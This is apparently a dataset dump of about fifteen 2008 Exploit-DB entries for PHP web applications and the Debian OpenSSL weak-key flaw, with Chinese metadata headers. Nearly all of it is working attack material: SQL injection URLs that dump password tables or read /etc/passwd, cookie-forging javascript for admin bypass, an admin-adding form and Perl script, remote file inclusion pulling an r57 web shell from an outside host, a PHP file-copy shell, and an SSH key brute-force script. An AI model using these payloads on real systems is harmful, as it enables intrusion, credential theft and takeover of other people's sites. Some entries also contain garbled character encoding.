QLWD/code_shield huggingface dataset:
标题: TAGWORX.CMS 3.00.02 - Multiple SQL Injections EDB-ID: 5642 CVE: 2008-2394 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-18 漏洞利用脚本: :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.eu ]

 ##########################################################
 #  [ TAGWORX.CMS ]   Remote SQL Injection Vulnerability  #
 ##########################################################
 #
 # Script site: http://www.tagworx.net/
 # 
 # Vuln: 
 # -contact.php:
 # http://site.com/contact.php?cid=-1+UNION+SELECT+concat_ws(char(58),id,user_nick,user_pass,concat(user_prename,char(0x20),user_name))+from+t_user--
 # or
 # http://site.com/contact.php?cid=-1+UNION+SELECT+1,2,concat_ws(char(58),id,user_nick,user_pass,concat(user_prename,char(0x20),user_name))+from+t_user--
 #  
 # -news.php: 
 # http://site.com/news.php?nid=-1+UNION+SELECT+1,2,3,concat_ws(char(58),id,user_nick,user_pass,concat(user_prename,char(0x20),user_name)),5,6+from+t_user--
 #  
 # table_name= t_user or l_user
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * sid_psycho * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-05-18] URL: https://www.exploit-db.com/exploits/5642
标题: IMGallery 2.5 - Multiple SQL Injections EDB-ID: 5631 CVE: 2008-2337 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-15 漏洞利用脚本: Name       : IMGallery 2.5 Multiply Remote SQL Injection Vulnerabilities
Author     : cOndemned
Conditions : magic_quotes_gpc = off ;/
Greetz     : irk4z, GregStar, ZaBeaTy, d3d!k, #CodersWorld, #gathering and Avantura ;***


http://[attacked_box]/[imgallery]/galeria.php?start=0&kategoria='+union+select+haslo,2,3+from+imgallery_hasla/*
http://[attacked_box]/[imgallery]/popup/koment.php?id_phot='-1+union+select+1,2,3,4,haslo+from+imgallery_hasla/*
http://[attacked_box]/[imgallery]/popup/opis.php?id_phot='+union+select+haslo+from+imgallery_hasla/*

# milw0rm.com [2008-05-15] URL: https://www.exploit-db.com/exploits/5631
标题: Zomplog 3.8.2 - 'newuser.php' Arbitrary Add Admin EDB-ID: 5634 CVE: 2008-2349 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-16 漏洞利用脚本: ======================== WEBXAKEP.NET ===========================

Name:  "Zomplog 3.8.2 <= add admin"
Version: All
Script Download: http://www.zomp.nl/zomplog/
DORK: "powered by zomplog"
Discovered By: ArxWolf
Discovered On: 16 05 2008
WWW: http://WebXakep.net
ICQ: 504-282

Vulnerability to "install/newuser.php", to add 2 administrator.
Folder "install" not removed in 70% of cases.

Exploit:
--------------------------------------------------------
<br><b><center>Ð”Ð¾Ð±Ð°Ð²Ð»ÑÐµÐ¼ Ð°Ð´Ð¼Ð¸Ð½Ð° "Add Admin"</center></b><br><br>
<!-- <form action="http://localhost/install/newuser.php" method="POST"> /-->
<form action="http://weblog.sgrim.us/install/newuser.php" method="POST">
<p>Ð¢Ð¸Ñ‚Ð»Ñ‹ Ð±Ð»Ð¾Ð³Ð° "Blog Title"<br />
  <input type="text" name="weblog_title" maxlength="40" id="blogname" />
  <br />
  <br />
Ð›Ð¾Ð³Ð¸Ð½ "Username"<br />
<input type="text" name="login" maxlength="15" id="name" />
<br />
<br />
ÐŸÐ°Ñ€Ð¾Ð»ÑŒ "Password"<br />
<input type="password" name="password" maxlength="15" id="pwd" />
<br />
<br />
ÐŸÐ¾Ð²Ñ‚Ð¾Ñ€ÑÐµÐ¼ Ð¿Ð°Ñ€Ð¾Ð»ÑŒ "Confirm password"<br />
<input type="password" name="password2" maxlength="15" id="pwd2" />
<br />
<br />
<input name="admin" type="hidden" id="admin" value="1" />
<input name="submit_user" type="submit" value="Submit &rsaquo;&rsaquo;" id="submit" />

</p>
</form>
-------------------------------------------------------------

http://******/admin/profile.php // Add or delete user ^_^
http://******/admin/themes.php //  If there is a right of entry you can fill shell. <?php copy($_GET['i'],$_GET['o']); ?>


========================= WEBXAKEP.NET ===========================

# milw0rm.com [2008-05-16] URL: https://www.exploit-db.com/exploits/5634
标题: Web Slider 0.6 - Insecure Cookie/Authentication Handling EDB-ID: 5629 CVE: 2008-2298 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-15 漏洞利用脚本: --==+================================================================================+==--
--==+   Web Slider <= 0.6 Insecure Cookie/Authentication Handling      +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 15 MAY 2008
Script Download: http://sourceforge.net/projects/webslider/
DORK: N/A



Vendor Has Not Been Notified!



DESCRIPTION:

Web Slider 1.6 (and prior), suffers from insecure cookie handling, when a admin logs in successfully a
cookie is created so admin doesnt have to login everypage, the bad thing is the coding is poor and the script
only checks to see if the cookie exists, it doesnt contain any password or anything.

so all we need to do is create a cookie so it makes us look like admin, the below javascript will do just that.



Exploit:

javascript:document.cookie = "admin=1; path=/";



NOTE/TIP: 

after pasting the above javascript code in your browser on a affected domain, you will be able to goto
"/admin.php" and access it as if you were a admin.

this should come to your attention how many web-developers are very bad coders. and leave massive
easy-to-fix holes like this in there scripts.

just remember when downloading a file of any kind to read through its source, and make sure its secure



GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



peace, t0pP8uZz



--==+================================================================================+==--
--==+   Web Slider <= 0.6 Insecure Cookie/Authentication Handling      +==--
--==+================================================================================+==--

# milw0rm.com [2008-05-15] URL: https://www.exploit-db.com/exploits/5629
标题: Multi-Page Comment System 1.1.0 - Insecure Cookie Handling EDB-ID: 5630 CVE: 2008-2293 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-15 漏洞利用脚本: --==+================================================================================+==--
--==+              Multi-Page Comment System 1.1.0 Insecure Cookie Handling          +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 15 MAY
Script Download: http://tpvgames.co.uk/web/mpcs/
DORK: "(Multi-Page Comment System)"



Vendor Has Not Been Notified!




DESCRIPTION: 

Multi-Page Comment System, suffers from insecure cookie handling, when a admin login is successfull the script creates
a cookie to show the rest of the admin area the user is already logged in. the bad thing is the cookie doesnt
contain any password or anything alike, therefor we can craft a admin cookie and make it look like we are
logged in as a legit admin.

the below javascript code will create a cookie, after pasting the code into your browser and running
on the affected domain, you can simply visit "/admin.php" and your admin.



Exploit:

javascript:document.cookie = "CommentSystemAdmin=1; path=/";



NOTE/TIP: 

after pasting the above javascript code into your browser you can visit "/admin.php" to see your a admin.

(this just shows how many bad programmers are out there.)



GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



peace, t0pP8uZz



--==+================================================================================+==--
--==+              Multi-Page Comment System 1.1.0 Insecure Cookie Handling          +==--
--==+================================================================================+==--

# milw0rm.com [2008-05-15] URL: https://www.exploit-db.com/exploits/5630
标题: Kostenloses Linkmanagementscript - SQL Injection EDB-ID: 5623 CVE: 2008-2301 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-15 漏洞利用脚本: #######################################################################################
  #                                                                                     #
  # ...::::Kostenloses Linkmanagementscript SQL Injection Vulnerabilities ::::...       #          
  #######################################################################################

Virangar Security Team

www.virangar.net

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal)
-----

-------vuln codes in:-----------
top_view.php:
line 3:$id = $_GET['id'];
..
..
ine 19:$voting_page_command_sql = "SELECT votings, worth FROM ".$tab_links." WHERE id = '".$id."'";
*********
view.php:
line 8:$id = $_GET['id'];
line 9:$view_page_command_sql = "SELECT url, hits FROM ".$tab_links." WHERE id = '".$id."'";
---
exploits:
http://site.com/[patch]/view.php?id='/**/union/**/select/**/now(),load_file(0x2f6574632f706173737764)/**/from/**/mysql.user/*
http://site.com/[patch]/top_view.php?id='/**/union/**/select/**/now(),load_file(0x2f6574632f706173737764)/**/from/**/mysql.user/*
---
young iranian h4ck3rz

# milw0rm.com [2008-05-15] URL: https://www.exploit-db.com/exploits/5623
标题: 68 Classifieds 4.0 - 'category.php' SQL Injection EDB-ID: 5626 CVE: 2008-2336 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-15 漏洞利用脚本: #######################################
        Remote SQL Injection Vulnerabilitie
           68classifieds   [ category.php ]
######################################

 
## Author : HaCkeR_EgY
 
## C0NTACT : hacker_egy@hotmail.com
 
 
## H^OME : www.PAL-HaCkeR.com   &  ATSDP.COM
 
 
## Script Name : 68classifieds
 
 
## Buy iT : https://www.68classifieds.com
 
 
## Price :  Price: $199.99
 
######################################################################
#
#=====>> D0Rk : You can try ......... D:
#
#=====>> ExpLO!T :
#                           ======>>> http://www.target.com/class_ads/category.php?cat=s'+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a3a,id,Username,Password)+from+class_users/*
#
#
#====>> L!ve Dem0 :
#                           =====>>> http://demo.68classifieds.com/category.php?  cat=s'+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a3a,id,Username,Password)+from+demo_users/*
#                  
#
##########################################################################
################################################################################
[<>] Thanx : MY Brotha and MY Master " Abo Mohamed "
 
[<>] Greetz : Mr.SQL , Mohamed el Arab ,F!resell, DaRk MaStEr , H-T Team , Stack-Terrorist
 
#################################################################################

# milw0rm.com [2008-05-15] URL: https://www.exploit-db.com/exploits/5626
标题: ActiveKB 1.5 - Insecure Cookie Handling/Arbitrary Admin Access EDB-ID: 5616 CVE: 2008-2338 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-14 漏洞利用脚本: --==+================================================================================+==--
--==+       ActiveKB <= 1.5 Insecure Cookie Handling/Arbitrary Admin Access          +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 14 MAY 2008
Script Download: N/A
DORK (alot more sites, people remove dork): " ActiveKB v1.5 Copyright Â©"



Vendor Has Not Been Notified!



DESCRIPTION: 

ActiveKB suffers from an insecure cookie, when the admin details are checked the script creates a cookie,
to let the script know in future the user is already been checked and is admin. The thing is that, the cookie
only contains a "true" value. So this allows the remote attacker to craft a cookie (which the script didnt create of course)
and gain access to the admin area.

pasting the below javascript code into your browser, will create a cookie then you have access to /admin/



Exploit:

javascript:document.cookie = "auth=true; path=/";



NOTE/TIP: 

after running the above js code, visit /admin/



GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



peace, t0pP8uZz



--==+================================================================================+==--
--==+       ActiveKB <= 1.5 Insecure Cookie Handling/Arbitrary Admin Access          +==--
--==+================================================================================+==--

# milw0rm.com [2008-05-14] URL: https://www.exploit-db.com/exploits/5616
标题: Pet Grooming Management System 2.0 - Arbitrary Add Admin EDB-ID: 5627 CVE: 2008-2294 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-15 漏洞利用脚本: #!/usr/bin/perl

use strict;
use LWP::UserAgent;

print "-+- Pet Grooming Management System <= 2.0 Arbitrary Add-Admin Exploit -+-\n";
print "-+-  Discovered && Coded By: t0pP8uZz  -  Discovered On: 15 MAY 2008  -+-\n";
print "-+-  Script Download: http://sourceforge.net/projects/petgroom/       -+-\n";
print "-+- Pet Grooming Management System <= 2.0 Arbitrary Add-Admin Exploit -+-\n";

print "\nEnter URL(http://site.com/pet/): ";
 chomp(my $url=<STDIN>);
 
print "\nEnter Username(create your admin username): ";
 chomp(my $user=<STDIN>);
 
print "\nEnter Password(create your admin password): ";
 chomp(my $pass=<STDIN>);

my $ua = LWP::UserAgent->new( agent => 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)' );
my $ob = $ua->post($url."/useradded.php", { "name" => "admin", "user" => $user, "pwd" => $pass, "level" => 1, "centerstatus" => "a" } );

if($ob->is_success && index($ob->content, 10) != -1) {
 print "\n\nUser Added Successfully! Login to: $url\n";
} else { print "\n\nUser was not added. Username may be in use, or site isnt running PGMS.\n"; }

# milw0rm.com [2008-05-15] URL: https://www.exploit-db.com/exploits/5627
标题: rgboard 3.0.12 - Remote File Inclusioni / Cross-Site Scripting EDB-ID: 5620 CVE: 2008-2296 2008-2295 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-14 漏洞利用脚本: ################################################
#    Rgboard 3.0.x  Multiple Vulnerabilities   #
#                  (RFI/XSS)                   #
################################################

/**/    Author::  e.wiZz!
 
/**/   Site::  www.balcanwarez.com 
 
/**/   Contact:: N/A :D
===========================================================
/**/   Script :: Rgboard
 
/**/   Vulnerable version :: 3.0.0/3.0.12

/**/ Not vulnerable :: 4.0 

/**/   Download :: www.rgboard.com
============================================================
 
[<Remote File Include>]

/**/ Vulnerable code,line 22:
\include\bbs.lib.inc.php

if (!defined(â€™BBS_LIB_INC_INCLUDEDâ€™)) {
define(â€™BBS_LIB_INC_INCLUDEDâ€™, 1);
// *start of include,eh?*

if(!$site_path) $site_path=â€™./â€™;
require_once â€œ{$site_path}include/lib.inc.phpâ€;
//$site_path

/**/  Exploit:

http://www.target.com/include/bbs.lib.inc.php?site_path=evilthingg0ezhere
             

[<XSS>]

/**/  Almost every field is vulnerable to xss,example(rg_search.php):
 
/**/  Live demo:
   http://xxx.com/rgboard/rg_search.php?bbs_id=search&page_no=2&s_text=%22%3E%3Ca+href%3D%22http%3A%2F%2Fbalcanwarez.com%22%3E%3Ch1%3EOvdje nesto bezze upises,boli me kita :D%3C%2Fh1%3E%3C%2Fa%3E        

 
==============================================================
/**/  Thanx : QKrun1x,F34R,aluigi,Nuclear,aluigi,str0ke
 
/**/ PozdraF : deckima s elitesecurity.org i cyber-underground.org
===============================================================

# milw0rm.com [2008-05-14] URL: https://www.exploit-db.com/exploits/5620
标题: newsmanager 2.0 - Remote File Inclusion / File Disclosure / SQL Injection EDB-ID: 5624 CVE: 2008-2343 2008-2342 2008-2341 2008-2340 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-15 漏洞利用脚本: News Manager 2.0 Multiple Vulnerabilities
Script : http://superb-east.dl.sourceforge.net/sourceforge/newsrssmanager/newsmanager2.0.zip
Dork : "Copyrights Â© 2005 Belgische Federale Overheidsdiensten"
1- Remote File Include Vulnerability
/ch_readalso.php?read_xml_include=http://localhost/020.txt
2- Remote File Disclosure Vulnerability
/attachments.php?id=../../../../../../../../../../../../../etc/passwd
/login/attachments.php?id=
3- Remote SQL Injection Vulnerabilities
/list_tagitems.php?pid=-41[SQL]
/advsearch.php?lang='[SQL]
/archive.php?lang='[SQL]
/index.php?lang='[SQL]
4- Remote Permission Bypass Vulnerability
/db/connect_str.php
You Can Get Username Of db & Pass & Name .. As 
mysql||localhost||newsmanager||root||mahmood4li
5- You Can Get PHPINFO From 
/login/info.php
Thanx To : Tryag-Team & HaCkeR_EgY & InjEctOr5 TeaM & All Muslims HaCkeRs   :) 

# milw0rm.com [2008-05-15] URL: https://www.exploit-db.com/exploits/5624
标题: Internet PhotoShow (Special Edition) - Insecure Cookie Handling EDB-ID: 5617 CVE: 2008-2282 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-14 漏洞利用脚本: --==+================================================================================+==--
--==+        Internet Photoshow (Special Edition) Insecure Cookie Handling         +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 14 MAY 2008
Script Download: http://www.thomas-voecking.de/downloads/ps_se_fire.zip
DORK: "Internet Photoshow - Slideshow"



Vendor Has Not Been Notified!



DESCRIPTION: 

Internet Photoshow SE, suffers from insecure cookie handling, This allows the remote attacker to gain
arbitrary access to the admin area by crafting a admin cookie.

the following javascript code will craft a admin cookie, and make it available to access /admin.php



Exploit:

javascript:document.cookie = "login_admin=true; path=/";



NOTE/TIP: 

visit the affected domain and paste the above javascript into your browser, once excuted visit the
affected sites "/admin.php" and you will have access to admin.

its also possible to shell the site by uploading your shell through the file upload.



GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



peace, t0pP8uZz



--==+================================================================================+==--
--==+        Internet Photoshow (Special Edition) Insecure Cookie Handling         +==--
--==+================================================================================+==--

# milw0rm.com [2008-05-14] URL: https://www.exploit-db.com/exploits/5617
标题: RantX 1.0 - Insecure Admin Authentication EDB-ID: 5628 CVE: 2008-2297 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-15 漏洞利用脚本: --==+================================================================================+==--
--==+    RantX 1.0 Insecure Admin Authentication Vulnerability              +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 14 MAY 2008
Script Download: http://roticv.rantx.com/rantx.zip
DORK: N/A



Vendor Has Not Been Notified!



DESCRIPTION: 

RantX suffers from a insecure admin authentication peice of code, the code is below. (in middle of admin.php)

CODE:

if ($_COOKIE["logininfo"] == NULL){
 LoginPage();
 exit(-1);
}
$storedformat = $_COOKIE["logininfo"];
$filehandle = fopen($passwordfile, "r");
$contents = fread ($filehandle, filesize ($passwordfile));
fclose ($filehandle);
$array2 = explode("\n", $contents);
foreach ($array2 as $values){
 if (strcmp($values, $storedformat) == 0){
  $passwordvalid = true;
 }
}

__EOF__

ok as we can see, the first thing is that the script checks to see if the cookie "logininfo" exists,
we can simply craft a cookie with javascript to bypass this part, or form a legit login request.

next the password file is opened, then the lines are split into an array, then they are looped thru, if the
line matches the cookie then authentication to admin is GIVEN (TRUE).

if you check the password.php source, you can see it contains the php tags, of course. (<?php/?>)
so what if we give the cookie a value of "<?php" or "?>" then when the cookie is checked against the password
file, one line will return TRUE which will give us admin, as strcmp() compares a string, and since
the password.php file contains "?>" and our cookie will contain "?>" we will get access.

the below javascript code will exploit this bug.



Exploit:

javascript:document.cookie = "logininfo=?>; path=/";



NOTE/TIP: 

after running the above javascript code in your browser (preferbly firefox/netscape), vist "Admin.php"

this should come to your attention how many web-developers are very bad coders. and leave massive
easy-to-fix holes like this in there scripts.

just remember when downloading a file of any kind to read through its source, and make sure its secure



GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



peace, t0pP8uZz



--==+================================================================================+==--
--==+    RantX 1.0 Insecure Admin Authentication Vulnerability              +==--
--==+================================================================================+==--

# milw0rm.com [2008-05-15] URL: https://www.exploit-db.com/exploits/5628
标题: Kostenloses Linkmanagementscript - Remote File Inclusion EDB-ID: 5621 CVE: 2008-2270 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-14 漏洞利用脚本: ############################################
#   Remote File Inclusion Vulnerability    #
#     Kostenloses Linkmanagementscript     #   
############################################    
 
 
## Author : HaCkeR_EgY
 
## C0NTACT : hacker_egy@hotmail.com
 
## H^OME : www.PAL-HaCkeR.com   &  ATSDP.COM
 
## Scripte Name : Kostenloses Linkmanagementscript
 
## download scripte :  http://scripte.phpway.de/
 
## Downloads: 2458

########################################################################
================================================================================
## VuRn C0DE :
 
Line 91 :
<?php
include($main_page_directory.$page_to_include);
?>
 
## ExPL0!T :
                1=====>>http://www.target.de/script/template\index.php?main_page_directory=  Ev!L C0dE
                2=====>>http://www.target.de/script/template\index.php?page_to_include=  Ev!L C0dE
 
## L!ve DeM0 :
             
        =======>>http://scripte.phpway.de/demo/template\index.php?page_to_include=http://captshino.tripod.com/r57.txt?
 
 
################################################################################
[<>] Thanx : MY Brotha and MY Master " Abo Mohamed "
 
[<>] Greetz : Mr.SQL , Mohamed el Arab ,F!resell, DaRk MaStEr , H-T Team , Stack-Terrorist , str0ke
 
#################################################################################

# milw0rm.com [2008-05-14] URL: https://www.exploit-db.com/exploits/5621
标题: OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH EDB-ID: 5622 CVE: 2008-0166 类型: REMOTE 平台: LINUX 发布日期: 2008-05-15 漏洞利用脚本: the debian openssl issue leads that there are only 65.536 possible ssh 
keys generated, cause the only entropy is the pid of the process 
generating the key.

This leads to that the following perl script can be used with the 
precalculated ssh keys to brute force the ssh login. It works if such a 
keys is installed on a non-patched debian or any other system manual 
configured to.

On an unpatched system, which doesn't need to be debian, do the following:

keys provided by HD Moore - http://metasploit.com/users/hdm/tools/debian-openssl/   
***E-DB Note: Mirror ~ https://github.com/g0tmi1k/debian-ssh***

1. Download http://sugar.metasploit.com/debian_ssh_rsa_2048_x86.tar.bz2
     https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2 (debian_ssh_rsa_2048_x86.tar.bz2)

2. Extract it to a directory

3. Enter into the /root/.ssh/authorized_keys a SSH RSA key with 2048 
Bits, generated on an upatched debian (this is the key this exploit will 
break)

4. Run the perl script and give it the location to where you extracted 
the bzip2 mentioned.

#!/usr/bin/perl
my $keysPerConnect = 6;
unless ($ARGV[1]) {
   print "Syntax : ./exploiter.pl pathToSSHPrivateKeys SSHhostToTry\n";
   print "Example: ./exploiter.pl /root/keys/ 127.0.0.1\n";
   print "By mm@deadbeef.de\n";
   exit 0;
}
chdir($ARGV[0]);
opendir(A, $ARGV[0]) || die("opendir");
while ($_ = readdir(A)) {
   chomp;
   next unless m,^\d+$,;
   push(@a, $_);
   if (scalar(@a) > $keysPerConnect) {
      system("echo ".join(" ", @a)."; ssh -l root ".join(" ", map { "-i 
".$_ } @a)." ".$ARGV[1]);
      @a = ();
   }
}

5. Enjoy the shell after some minutes (less than 20 minutes)

Regards,
Markus Mueller
mm@deadbeef.de

# milw0rm.com [2008-05-15] URL: https://www.exploit-db.com/exploits/5622